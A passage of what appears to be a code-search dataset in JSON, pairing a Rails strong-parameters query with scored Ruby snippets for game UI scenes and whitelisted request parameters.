ProgressBar.new(:count_progress, 400, 0, @cur_color)\n @count_progress.x = 600\n @count_progress.y = 410\n @count_progress.view_actual_size!\n @count_progress.hide\n\n @prog = ProgressBar.new(:progress, 150, 0.5, @cur_color)\n @prog.x = 600\n @prog.y = 580\n @prog_label = {\n x: 600,\n y: 640,\n text: 'Progress bar: width 150, progress 50%'\n }.merge(DEBUG_LABEL_COLOR)\n\n # -------------------------------------------------------------------------\n # Buttons\n #\n # TwoStageButton (which TallButton inherits from) accepts a block in the constructor\n # The block is executed when the button is registered as a clickable, and it receives the mouse up event\n # You can give sprites callback functions for on_mouse_down, .._changed (mouse is moving while down), and .._up\n # In this case, the TwoStageButton initializer sets on_mouse_down and on_mouse_changed automatically\n # This is because as a button, it needs to update whether or not it is_pressed based on the mouse point.\n @counter = 0\n @button = TallButton.new(:static_button, 300, :blue, 'Press Me', 2) do |point|\n # You should check the state of the button as it's possible to click down on the button, but then move the mouse\n # away and let go of the mouse away from the button\n # The state is updated automatically in the on_mouse_changed callback created by the TwoStageButton initializer\n if @button.is_pressed\n puts \"UISample: Button on_mouse_up, #{point}: mouse inside button. Pressed!\"\n @counter += 1\n\n @count_progress.show if @counter == 1\n @count_progress.progress = @counter / 10.0\n\n @load_next_scene_next_tick = true if @counter >= 10\n\n @dragon.run_animation_sequence(:coast)\n else\n puts \"UISample: Button on_mouse_up, #{point}: mouse outside button. Not pressed.\"\n end\n end\n @button.x = 600\n @button.y = 350\n @button_label = {\n x: 600,\n y: 550,\n text: 'Buttons.'\n }.merge(DEBUG_LABEL_COLOR)\n\n @form_field = FormField.new(x: 20, y: 115, label: 'Text Input: ', char_width: 28)\n @form_field_status = {\n x: @form_field.x,\n y: @form_field.y - 5,\n text: \"Form Field Has Focus: #{@form_field.input.focused?}\"\n }.merge(DEBUG_LABEL_COLOR)\n\n # We need a full-screen overlay which does not absorb clicks to test for losing focus on the form field\n @focus_check = FocusCheck.new\n @focus_check.on_mouse_down = ->(_sprite, _point) { @form_field.lose_focus }\n\n @delay_button = TallButton.new(:delay_button, 300, :red, 'Simulate Lag', 2) do |_point|\n mark_and_print('delay_button: Button was clicked - demonstrating Tick Trace service')\n sleep(0.5)\n mark_and_print('delay_button: Woke up from 500ms second nap')\n end\n @delay_button.x = 600\n @delay_button.y = 240\n\n # Using #tap is common ruby pattern. It just yields the object to the given block and then returns the object.\n # It's an alternative to the pattern of setting a @ivar = Foo.new .. and then repetitively setting @ivar.bar = baz\n @changing_button = TallButton.new(:colorful_button, 20, @cur_color, \"Don't Press Me\").tap do |b|\n b.x = 600\n b.y = 470\n end\n\n @changing_button.run_action(\n Zif::Actions::Sequence.new(\n [\n @changing_button.new_action({width: 420}, duration: 2.seconds, easing: :linear),\n @changing_button.new_action({width: 20}, duration: 2.seconds, easing: :linear)\n ],\n repeat: :forever\n )\n )\n\n # -------------------------------------------------------------------------\n # Basic sprites\n #\n # Create a sprite from a prototype registered in the Sprite Registry service\n # This returns a Zif::Sprite with the proper w/h/path settings\n @dragon = $game.services[:sprite_registry].construct('dragon_1').tap do |s|\n s.x = 600\n s.y = 100\n end\n\n # Run some action sequences on this sprite\n @dragon.run_action(@dragon.fade_out_and_in_forever)\n @dragon.run_action(\n Zif::Actions::Sequence.new(\n [\n # Move from starting position to 1000x over 1 second, starting slowly, then flip the sprite at the end\n @dragon.new_action({x: 1000}, duration: 1.seconds, easing: :smooth_start) do\n @dragon.flip_horizontally = true\n end,\n # Move from the new position (1000x) back to the start 600x over 2 seconds, stopping slowly, then flip again\n @dragon.new_action({x: 600}, duration: 2.seconds, easing: :smooth_stop) do\n @dragon.flip_horizontally = false\n end\n ],\n repeat: :forever\n )\n )\n\n @dragon.new_basic_animation(\n named: :fly,\n paths_and_durations: 1.upto(4).map { |i| [\"dragon_#{i}\", 4] } + 3.downto(2).map { |i| [\"dragon_#{i}\", 4] }\n )\n\n # This is an example of a one-off animation which returns to a looping animation when complete\n @dragon.new_basic_animation(\n named: :coast,\n paths_and_durations: 1.upto(4).map { |i| [\"dragon_#{i}\", 12] } + 3.downto(2).map { |i| [\"dragon_#{i}\", 12] },\n repeat: 2\n ) do\n @dragon.run_animation_sequence(:fly)\n end\n\n @dragon.run_animation_sequence(:fly)\n\n @animation_label = {\n x: 600,\n y: 200\n }.merge(DEBUG_LABEL_COLOR)\n\n # -------------------------------------------------------------------------\n # Info Labels\n\n $gtk.args.outputs.static_labels << [\n @glass_label,\n @prog_label,\n @button_label,\n @metal_label,\n @form_field_status,\n {\n x: 600,\n y: 320,\n text: 'Test the TickTraceService (see console output)'\n }.merge(DEBUG_LABEL_COLOR),\n @animation_label\n ]\n\n # -------------------------------------------------------------------------\n # You have to explicity tell the action and input services which sprites to handle\n # Clickables must be registered with the input service to be tested when a click is detected\n # Actionables must be registered with the action service to be notified to update based on the running Actions\n $game.services[:action_service].register_actionable(@changing_button)\n $game.services[:action_service].register_actionable(@dragon)\n $game.services[:input_service].register_clickable(@focus_check)\n $game.services[:input_service].register_clickable(@button)\n $game.services[:input_service].register_clickable(@delay_button)\n $game.services[:input_service].register_clickable(@form_field)\n $game.services[:input_service].register_key_pressable(@form_field.input)\n\n # If you're retaining a reference to sprites that will be displayed across every tick, it's best for performance\n # reasons if you use the static_sprites output. You can always set the alpha of a sprite to zero to temporarily\n # hide it. This technique is used with @cutout and @count_progress, etc.\n # So we set static_sprites here in #prepare_scene rather than #perform_tick because it only needs to happen once.\n $gtk.args.outputs.static_sprites << [\n # --- Panels ---\n @glass,\n @metal,\n # Make sure the cutout is after metal, since it's on top.\n @cutout,\n # --- Input field ---\n @form_field,\n # --- Buttons ---\n @button,\n @delay_button,\n @changing_button,\n # --- Progress Bars ---\n @count_progress,\n @prog,\n # --- Sprites ---\n @dragon\n ]\n mark('#prepare_scene: complete')\n end",
"title": ""
},
{
"docid": "262ecb7b4d104e15957b749b353ae246",
"score": "0.5651261",
"text": "def windows=(_arg0); end",
"title": ""
},
{
"docid": "cc3612d7e33921144be45f62f949b3f7",
"score": "0.5647607",
"text": "def pbViewQuests\n scene = QuestList_Scene.new\n screen = QuestList_Screen.new(scene)\n screen.pbStartScreen\nend",
"title": ""
},
{
"docid": "c817df5670bad48050f56bbe5511df3e",
"score": "0.56304824",
"text": "def initialize(win)\n #Création de l'interface \n @window = win\n box = Gtk::Fixed.new()\n @box2 = Gtk::Box.new(:horizontal)\n suivant = Gtk::Button.new(:label => \"Règle suivante\") \n precedent = Gtk::Button.new(:label => \"Règle précédente\")\n retourMenu = Gtk::Button.new()\n @boutonUndo = Gtk::Button.new()\n @boutonRemplissage = Gtk::Button.new()\n @boutonCheck = Gtk::Button.new()\n @boutonCurseur = Gtk::Button.new()\n @boutonCoupLogique = Gtk::Button.new();\n\n\n #Css des boutons\n @cssCache = Gtk::CssProvider.new\n cssVoir = Gtk::CssProvider.new\n\n cssVoir.load(data: <<-CSS)\n button {\n opacity:1;\n }\n CSS\n\n @cssCache.load(data: <<-CSS)\n button {\n opacity:0;\n }\n CSS\n\n #Numero de la regle active\n index = 1;\n\n\n joues = Array.new #tableau des coups joués par l'utilisateur pour le undo\n\n #Ajout du fond \n box.add(Gtk::Image.new(:file => \"../maquettes/Tutoriel.png\"))\n @box2.add(box)\n\n #Ajout des différents boutons, de leur css respectif ainsi que de leurs évents liés\n ajouteBouton(box,retourMenu,1,55,45,($widthEcran *0.015), $heightEcran * 0.025,method(:vers_menu),@window,@box2)\n ajouteBouton(box,@boutonCoupLogique,1,60,60,($widthEcran*0.899), $heightEcran*0.015,nil,@window,@box2)\n ajouteBouton(box,@boutonCheck,1,60,60,($widthEcran*0.855), $heightEcran*0.015,nil,@window,@box2)\n ajouteBouton(box,@boutonCurseur,1,60,60,($widthEcran*0.812), $heightEcran*0.015,nil,@window,@box2)\n ajouteBouton(box,@boutonUndo,1,60,60,($widthEcran*0.767), $heightEcran*0.015,nil,@window,@box2)\n ajouteBouton(box,@boutonRemplissage,1,60,60,($widthEcran*0.942), $heightEcran*0.015,nil,@window,@box2)\n ajoutecssProvider(suivant,cssVoir,150,25)\n box.put(suivant,($widthEcran *0.84), $heightEcran * 0.4)\n ajouteBouton(box,precedent,1,150,25,($widthEcran *0.05),$heightEcran * 0.4,nil,@window,@box2)\n \n #Placement du texte dans la bulle du capitaine\n techniqueTextCss = ajouteTexte(2)\n @techniqueText = \"Première règle : Aucune case autour \\nd'une case 0 n'est valide.\"\n @labelTechnique = Gtk::Label.new(@techniqueText)\n #ajouteTexteProvider(@labelTechnique,techniqueTextCss,60,60)\n ajouteTexteProvider(@labelTechnique,techniqueTextCss)\n box.put(@labelTechnique,($widthEcran *0.3), $heightEcran * 0.84)\n\n @grilleTuto = Grille_jeu.creer(true, joues, \"../Grilles/tuto.txt\")\n\n #signal pour activer le rectangle rouge autour du curseur\n @boutonCurseur.signal_connect(\"clicked\"){\n @grilleTuto.activeRedSquare()\n }\n\n #signal qui remplit les cases faciles (9, 0)\n @boutonRemplissage.signal_connect(\"clicked\"){\n @grilleTuto.fillNine('9')\n @grilleTuto.fillNine('4')\n @grilleTuto.fillNine('6')\n @grilleTuto.fillNine('0')\n }\n\n #signal du bouton undo afin de retourner au coup précédemment joué\n @boutonUndo.signal_connect(\"clicked\"){ # signal pour le bouton undo\n if !joues.empty?\n coup = joues.pop()\n @grilleTuto.undo(coup)\n end\n }\n\n #signal qui vérifie la grille\n @boutonCheck.signal_connect(\"clicked\"){\n fini = @grilleTuto.check()\n\n if(fini[0] == true)\n text = \"Félicitations ! \\nVous avez terminé la grille du tutoriel\\n\"\n @labelTechnique.set_text(text)\n\n lines = File.readlines($userPath+\"succes.txt\")\n lines[10] = \"true 0 0\\n\"\n File.open($userPath+\"succes.txt\", 'w') { |f| f.write(lines.join) }\n end\n }\n\n #Signal du prochain coup logique\n @boutonCoupLogique.signal_connect(\"clicked\"){\n verif = @grilleTuto.check()\n if(verif[0] == false && verif[1] == false)\n @grilleTuto.nextMove()\n end\n }\n \n #signal pour le bouton regle suivante permettant de passer à la règle suivante\n suivant.signal_connect(\"clicked\"){\n index = index+1\n if index>1\n precedent.sensitive = true\n precedent.style_context.add_provider(cssVoir,Gtk::StyleProvider::PRIORITY_USER)\n end\n\n if index>=11\n suivant.style_context.add_provider(@cssCache,Gtk::StyleProvider::PRIORITY_USER)\n suivant.sensitive = false\n end\n changerTexteRegle(index)\n }\n\n #Signal pour le bouton regle precedente permettant de revenir à la règle précédente\n precedent.signal_connect(\"clicked\"){\n index = index-1\n if index<2\n precedent.style_context.add_provider(@cssCache,Gtk::StyleProvider::PRIORITY_USER)\n precedent.sensitive = false\n end\n\n if index<11\n suivant.sensitive = true\n suivant.style_context.add_provider(cssVoir,Gtk::StyleProvider::PRIORITY_USER)\n end\n changerTexteRegle(index)\n }\n \n box.put(@grilleTuto.grille, ($widthEcran *0.28), $heightEcran * 0.16)\n\n @window.add(@box2)\n @window.show_all\n end",
"title": ""
},
{
"docid": "1adc8d9d1387f77c68f8f26778ef1223",
"score": "0.5629459",
"text": "def screen(clz)\n clz.new()\nend",
"title": ""
},
{
"docid": "b3d8e29a83b1c9ed30368190e8bb158f",
"score": "0.5627362",
"text": "def start\n super\n create_menu_background\n if MENU_CONFIG::IMAGE_BG != \"\"\n @bg = Sprite.new\n @bg.bitmap = Cache.picture(MENU_CONFIG::IMAGE_BG)\n @bg.opacity = MENU_CONFIG::IMAGE_BG_OPACITY\n end\n \n @help_window = Window_Info_Help.new(0, 384, 640, 96, YE::SYSTEM::WINDOW_HELP)\n @system_window = Window_System.new(0, 0, 640, 384)\n \n positions = []\n positions.push(CursorPosition.new(Rect.new(0, @system_window.cWindowSkinsLabel.rect.y-12, \n @system_window.width-32, 48)))\n positions.push(CursorPosition.new(Rect.new(0, @system_window.ucBGMVolume.cVolumeLabel.rect.y-12, \n @system_window.width-32, 48)))\n positions.push(CursorPosition.new(Rect.new(0, @system_window.ucSFXVolume.cVolumeLabel.rect.y-12, \n @system_window.width-32, 48)))\n positions.push(CursorPosition.new(Rect.new(0, @system_window.ucBGSVolume.cVolumeLabel.rect.y-12, \n @system_window.width-32, 48)))\n positions.push(CursorPosition.new(Rect.new(0, @system_window.cBattleAnimLabel.rect.y, \n @system_window.width-32, 24)))\n positions.push(CursorPosition.new(Rect.new(0, @system_window.cAutoDashLabel.rect.y, \n @system_window.width-32, 24)))\n positions.push(CursorPosition.new(Rect.new(0, @system_window.cInstantTextLabel.rect.y, \n @system_window.width-32, 24)))\n positions.push(CursorPosition.new(Rect.new(0, @system_window.cDifficultyLabel.rect.y, \n @system_window.width-32, 24)))\n positions.push(CursorPosition.new(Rect.new(0, @system_window.cInGameTutoLabel.rect.y, \n @system_window.width-32, 24)))\n positions.push(CursorPosition.new(Rect.new(0, @system_window.cReturnTitleLabel.rect.y, \n @system_window.width-32, 24)))\n \n @command_window = Window_Custom_Selectable.new(0, 0, 640, 384, positions, true)\n @command_window.opacity = 0\n @command_window.visible = true\n @command_window.active = true\n @command_window.z = 1000\n if @menu_index != nil\n @command_window.index = @menu_index\n update_help()\n else\n @command_window.index = 0\n end\n\n @last_index = -1\n end",
"title": ""
},
{
"docid": "f1c2aefa7d29c86130ce274e95128228",
"score": "0.5626518",
"text": "def index\n self.openMainMenu()\nend",
"title": ""
},
{
"docid": "95860d7da8b9a55ea5bd908b4bf0dc99",
"score": "0.56264925",
"text": "def beginGL; end",
"title": ""
},
{
"docid": "baf6e8153808ca2169b69e5c5b295d81",
"score": "0.5624546",
"text": "def init_battle_scene\r\n @main_background = Sprite.new.set_bitmap(\"animation_editor\", :interface)\r\n @main_background.z = -1024\r\n @battle_viewport = Viewport.create(:main, 1000)\r\n @battle_bars = []\r\n pokemon = ::PFM::Pokemon.new(rand($game_data_pokemon.size - 1) + 1, 1)\r\n pokemon.position = -1\r\n @battle_enemy_sprite = ::GamePlay::BattleSprite.new(@battle_viewport, pokemon)\r\n @battle_bars << ::GamePlay::BattleBar.new(@battle_viewport, pokemon)\r\n pokemon = ::PFM::Pokemon.new(rand($game_data_pokemon.size - 1) + 1, 1)\r\n pokemon.position = 0\r\n @battle_actor_sprite = ::GamePlay::BattleSprite.new(@battle_viewport, pokemon)\r\n @battle_bars << ::GamePlay::BattleBar.new(@battle_viewport, pokemon)\r\n @battle_background = Sprite.new(@battle_viewport).set_bitmap(\"back_grass\", :battleback)\r\n @message_window = @message_window = Scene_Battle::Window_Message.new(@battle_viewport)\r\n @main_animator = Basic_Animator.new(@global_animation, @battle_actor_sprite, @battle_enemy_sprite)\r\n @battle_viewport.sort_z\r\n end",
"title": ""
},
{
"docid": "88c863eb07bf8a8f254599552e25eeed",
"score": "0.5619884",
"text": "def pane; end",
"title": ""
},
{
"docid": "88c863eb07bf8a8f254599552e25eeed",
"score": "0.5619884",
"text": "def pane; end",
"title": ""
},
{
"docid": "e819a620663bcb5841bd02a238916dc5",
"score": "0.5616173",
"text": "def test_default\n w = Window_Logo.new(0,0,640,450,\"logo\")\n @windows.push(w)\n return true\n end",
"title": ""
},
{
"docid": "6e81647485c3059bdf2e303437a008db",
"score": "0.56072015",
"text": "def scene_pushing(scene)\n end",
"title": ""
},
{
"docid": "11db886e05f8ea9e7db5de8217b84b5f",
"score": "0.5600838",
"text": "def activate\n show\n activateWindow\n end",
"title": ""
},
{
"docid": "0e55e82c184654824a5be65c0e5a0b69",
"score": "0.56000626",
"text": "def screen; end",
"title": ""
},
{
"docid": "ded13be48033203f0bb8138680a68573",
"score": "0.5596316",
"text": "def create_command_window\n @command_window = JukeBox_Command_Window.new(300, @help_window)\n @command_window.x = 0\n @command_window.y = @help_window.height\n @command_window.set_handler(:play_bgm, method(:set_bgm_path))\n @command_window.set_handler(:stop, method(:command_stop))\n end",
"title": ""
},
{
"docid": "eb21623fd00f23813389f21b2edc93f1",
"score": "0.55948883",
"text": "def create_gifts_windows\n create_gift_code_window\n create_gift_code_input_window\n end",
"title": ""
}
] |
c657de4b70d266e9a3a784b999ea9e60 | Never trust parameters from the scary internet, only allow the white list through. | [
{
"docid": "3af8902c0d757062c4a879f0d1633d15",
"score": "0.0",
"text": "def organization_charge_params\n params.require(:organization_charge).permit(:organization_charge_total_id, :organization_customer_id, :organization_id, :user_id, :price_shebao_base, :price_shebao_qiye, :price_shebao_geren, :price_canbao, :price_shebao_guanli, :price_gongjijin_base, :price_gongjijin_qiye, :price_gongjijin_geren, :price_gongjijin_guanli, :price_geshui, :price_qita_1, :price_qita_2, :price_qita_3, :price_bujiao, :price_yujiao, :price_gongzi, :start_date, :end_date, :comment)\n end",
"title": ""
}
] | [
{
"docid": "e164094e79744552ae1c53246ce8a56c",
"score": "0.6980957",
"text": "def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "e662f0574b56baff056c6fc4d8aa1f47",
"score": "0.6783065",
"text": "def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "1677b416ad07c203256985063859691b",
"score": "0.6747844",
"text": "def allow_params_authentication!; end",
"title": ""
},
{
"docid": "c1f317213d917a1e3cfa584197f82e6c",
"score": "0.6741468",
"text": "def allowed_params\n ALLOWED_PARAMS\n end",
"title": ""
},
{
"docid": "547b7ab7c31effd8dcf394d3d38974ff",
"score": "0.67356336",
"text": "def default_param_whitelist\n [\"mode\"]\n end",
"title": ""
},
{
"docid": "a91e9bf1896870368befe529c0e977e2",
"score": "0.6592548",
"text": "def param_whitelist\n [:role, :title]\n end",
"title": ""
},
{
"docid": "b32229655ba2c32ebe754084ef912a1a",
"score": "0.65036845",
"text": "def expected_permitted_parameter_names; end",
"title": ""
},
{
"docid": "3a9a65d2bba924ee9b0f67cb77596482",
"score": "0.64978707",
"text": "def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"title": ""
},
{
"docid": "068f8502695b7c7f6d382f8470180ede",
"score": "0.64825076",
"text": "def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "e291b3969196368dd4f7080a354ebb08",
"score": "0.64795035",
"text": "def permitir_parametros\n \t\tparams.permit!\n \tend",
"title": ""
},
{
"docid": "c04a150a23595af2a3d515d0dfc34fdd",
"score": "0.64560914",
"text": "def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "9a2a1af8f52169bd818b039ef030f513",
"score": "0.64397955",
"text": "def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"title": ""
},
{
"docid": "c5f294dd85260b1f3431a1fbbc1fb214",
"score": "0.6379666",
"text": "def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "631f07548a1913ef9e20ecf7007800e5",
"score": "0.6376688",
"text": "def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"title": ""
},
{
"docid": "9735bbaa391eab421b71a4c1436d109e",
"score": "0.6366702",
"text": "def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end",
"title": ""
},
{
"docid": "12fa2760f5d16a1c46a00ddb41e4bce2",
"score": "0.6319728",
"text": "def param_whitelist\n [:rating, :review]\n end",
"title": ""
},
{
"docid": "f12336a181f3c43ac8239e5d0a59b5b4",
"score": "0.6300833",
"text": "def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"title": ""
},
{
"docid": "c25a1ea70011796c8fcd4927846f7a04",
"score": "0.6300629",
"text": "def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"title": ""
},
{
"docid": "9d23b31178b8be81fe8f1d20c154336f",
"score": "0.6294277",
"text": "def valid_params_request?; end",
"title": ""
},
{
"docid": "822c743e15dd9236d965d12beef67e0c",
"score": "0.6293905",
"text": "def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end",
"title": ""
},
{
"docid": "7f0fd756d3ff6be4725a2c0449076c58",
"score": "0.6291174",
"text": "def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end",
"title": ""
},
{
"docid": "533f1ba4c3ab55e79ed9b259f67a70fb",
"score": "0.62905735",
"text": "def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "5f16bb22cb90bcfdf354975d17e4e329",
"score": "0.6283171",
"text": "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"title": ""
},
{
"docid": "1dfca9e0e667b83a9e2312940f7dc40c",
"score": "0.6242344",
"text": "def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end",
"title": ""
},
{
"docid": "a44360e98883e4787a9591c602282c4b",
"score": "0.62403613",
"text": "def allowed_params\n params.require(:allowed).permit(:email)\n end",
"title": ""
},
{
"docid": "4fc36c3400f3d5ca3ad7dc2ed185f213",
"score": "0.6218049",
"text": "def permitted_params\n []\n end",
"title": ""
},
{
"docid": "7a218670e6f6c68ab2283e84c2de7ba8",
"score": "0.62143815",
"text": "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"title": ""
},
{
"docid": "b074031c75c664c39575ac306e13028f",
"score": "0.62104696",
"text": "def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end",
"title": ""
},
{
"docid": "0cb77c561c62c78c958664a36507a7c9",
"score": "0.61949855",
"text": "def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend",
"title": ""
},
{
"docid": "9892d8126849ccccec9c8726d75ff173",
"score": "0.6178671",
"text": "def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "e3089e0811fa34ce509d69d488c75306",
"score": "0.6176147",
"text": "def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"title": ""
},
{
"docid": "7b7196fbaee9e8777af48e4efcaca764",
"score": "0.6173327",
"text": "def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end",
"title": ""
},
{
"docid": "9d589006a5ea3bb58e5649f404ab60fb",
"score": "0.6163395",
"text": "def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end",
"title": ""
},
{
"docid": "38a9fb6bd1d9ae5933b748c181928a6b",
"score": "0.6153005",
"text": "def safe_params\n params.require(:user).permit(:name)\n end",
"title": ""
},
{
"docid": "d578c7096a9ab2d0edfc431732f63e7f",
"score": "0.6151833",
"text": "def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "7a6fbcc670a51834f69842348595cc79",
"score": "0.6147288",
"text": "def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend",
"title": ""
},
{
"docid": "fe4025b0dd554f11ce9a4c7a40059912",
"score": "0.61224324",
"text": "def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"title": ""
},
{
"docid": "fc43ee8cb2466a60d4a69a04461c601a",
"score": "0.6118827",
"text": "def check_params; true; end",
"title": ""
},
{
"docid": "60ccf77b296ed68c1cb5cb262bacf874",
"score": "0.61075264",
"text": "def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"title": ""
},
{
"docid": "3c8ffd5ef92e817f2779a9c56c9fc0e9",
"score": "0.61054534",
"text": "def quote_params\n params.permit!\n end",
"title": ""
},
{
"docid": "86b2d48cb84654e19b91d9d3cbc2ff80",
"score": "0.6092497",
"text": "def valid_params?; end",
"title": ""
},
{
"docid": "34d018968dad9fa791c1df1b3aaeccd1",
"score": "0.6080082",
"text": "def paramunold_params\n params.require(:paramunold).permit!\n end",
"title": ""
},
{
"docid": "6d41ae38c20b78a3c0714db143b6c868",
"score": "0.60710967",
"text": "def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend",
"title": ""
},
{
"docid": "c436017f4e8bd819f3d933587dfa070a",
"score": "0.60627776",
"text": "def filtered_parameters; end",
"title": ""
},
{
"docid": "49052f91dd936c0acf416f1b9e46cf8b",
"score": "0.60219413",
"text": "def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end",
"title": ""
},
{
"docid": "5eaf08f3ad47cc781c4c1a5453555b9c",
"score": "0.60175914",
"text": "def filtering_params\n params.permit(:email, :name)\n end",
"title": ""
},
{
"docid": "5ee931ad3419145387a2dc5a284c6fb6",
"score": "0.60153484",
"text": "def check_params\n true\n end",
"title": ""
},
{
"docid": "3b17d5ad24c17e9a4c352d954737665d",
"score": "0.60107356",
"text": "def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end",
"title": ""
},
{
"docid": "45b8b091f448e1e15f62ce90b681e1b4",
"score": "0.60081726",
"text": "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"title": ""
},
{
"docid": "45b8b091f448e1e15f62ce90b681e1b4",
"score": "0.60081726",
"text": "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"title": ""
},
{
"docid": "74c092f6d50c271d51256cf52450605f",
"score": "0.60013986",
"text": "def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend",
"title": ""
},
{
"docid": "75415bb78d3a2b57d539f03a4afeaefc",
"score": "0.6000165",
"text": "def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend",
"title": ""
},
{
"docid": "bb32aa218785dcd548537db61ecc61de",
"score": "0.59978646",
"text": "def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"title": ""
},
{
"docid": "865a5fdd77ce5687a127e85fc77cd0e7",
"score": "0.59936947",
"text": "def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end",
"title": ""
},
{
"docid": "ec609e2fe8d3137398f874bf5ef5dd01",
"score": "0.59925723",
"text": "def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend",
"title": ""
},
{
"docid": "65fa57add93316c7c8c6d8a0b4083d0e",
"score": "0.5992084",
"text": "def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end",
"title": ""
},
{
"docid": "423b4bad23126b332e80a303c3518a1e",
"score": "0.59796256",
"text": "def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end",
"title": ""
},
{
"docid": "48e86c5f3ec8a8981d8293506350accc",
"score": "0.5967569",
"text": "def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end",
"title": ""
},
{
"docid": "9f774a9b74e6cafa3dd7fcc914400b24",
"score": "0.5960056",
"text": "def active_code_params\n params[:active_code].permit\n end",
"title": ""
},
{
"docid": "2202d6d61570af89552803ad144e1fe7",
"score": "0.59589803",
"text": "def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end",
"title": ""
},
{
"docid": "a573514ae008b7c355d2b7c7f391e4ee",
"score": "0.5958441",
"text": "def filtering_params\n params.permit(:email)\n end",
